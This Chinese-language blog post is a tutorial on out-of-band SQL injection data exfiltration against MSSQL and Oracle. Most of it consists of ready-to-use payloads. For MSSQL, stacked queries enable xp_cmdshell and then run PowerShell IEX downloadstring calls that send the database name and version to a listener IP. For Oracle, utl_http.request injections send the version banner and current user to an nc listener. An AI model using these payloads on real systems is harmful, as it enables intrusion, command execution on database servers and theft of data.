mssql和oracle外带
MSSQL(sqlserver) 数据外带
外带原理
- 利用MSSQL中的xp_cmdshell存储过程 和powershell发出HTTP请求,再通过监听IP:端口 记录或外带平台查看返回数据
MSSQL HTTP外带条件
- 开启xp_cmdshell功能
?id=1; EXEC sp_configure 'show advanced options',1;--
?id=1; RECONFIGURE;--
?id=1; EXEC sp_configure 'xp_cmdshell',1;--
?id=1; RECONFIGURE;--
- 验证xp_cmdshell功能
?id=1'; exec master..xp_cmdshell 'ping -n 10 127.0.0.1'--
##-n 10意思是发送10次包,延时约为10s
常用payload
- 查库名和版本
(1)?id=1'; DECLARE @a varchar(8000);SET @a=db_name();exec('master..xp_cmdshell "powershell IEX (new-object net.webclient).downloadstring(''http://172.16.12.172:8888?data='%2b @a %2b''')"' ) --
(2)?id=1';
DECLARE @okma VARCHAR(8000);
SET @okma=(SELECT TOP 1 substring(@@version,1,35));
EXEC('master..xp_cmdshell ''powershell IEX (new-object net.webclient).downloadstring(''http://172.16.12.172:8888?ver=''+@okma+'' '')''')
--
Oracle 数据外带
外带原理
- 利用内置函数utl_http.request() 发起HTTP请求,然后通过监听IP:端口 记录或外带平台查看返回数据
相关函数
- utl_http.request()函数
- 函数说明 :在Oracle中提供了utlhttprequest函数,用于取得web服务器的请求信息,因此,攻击者可以自己监听端口,然后通过这个函数用请求将需要的数据发送反弹回头
- UTL_HTTP包介绍 :提供了对HTTP的一些操作。
- 举例 :执行这条SQL语句,将返回 baidu. com的HTML源码
select UTL_HTTP.REQUEST('[http://www.baidu.com'](http://www.baidu.com))from dual
带外注入过程
-
判断 UTL_HTTP存储过程是否可用
-
在注入点提交如下查询:
select count(*) from allobjects where object name='UTL_HTTP'
-
通过页面回显判断UTL_HTTP是否可用,如果页面返回正常,则说明UTL_HTTP存储过程可用
-
使用NC监听数据
-
在本地用nc监听一个端口,要求本地主机拥有一个外网的ip地址
-
nc-lvvp监听端口
-
反弹数据信息
-
在注入点提交:
highlighter- reasonml
and UTL_HTTP.request('[http://ip](http://ip):监听端口/'||(查询语句)=1--
- 即可实现注入攻击
注意:每次在注入点提交一次请求,nc监听完后就会断开,需要重新启动nc监听
常用payload
- 判断utl_http是否可用
(1)id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP')--
(2)id=1 and (select count(*) from all_objects where object_name='UTL_HTTP')>1--
(3)id=1 union select 1,null,3,(select count(*) from all_objects where object_name='UTL_HTTP') from dual--
- 查询数据库版本指纹
and utl_http.request('http://172.16.12.172:8888/'%7C%7C'~'%7C%7C(select banner from sys.v_$version where rownum=1))=1--
- 查当前用户名
(1)id=1 and UTL_HTTP.request('http://ip:监听端口/'||(select user from dual)=1--
(2)id=1 and utl_http.request('http://域名或者ip:端口/'||(注入的语句))=1 -- //注意||转码%7C%7C
注意:|| 转码%7C%7C
本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20626321

浙公网安备 33010602011771号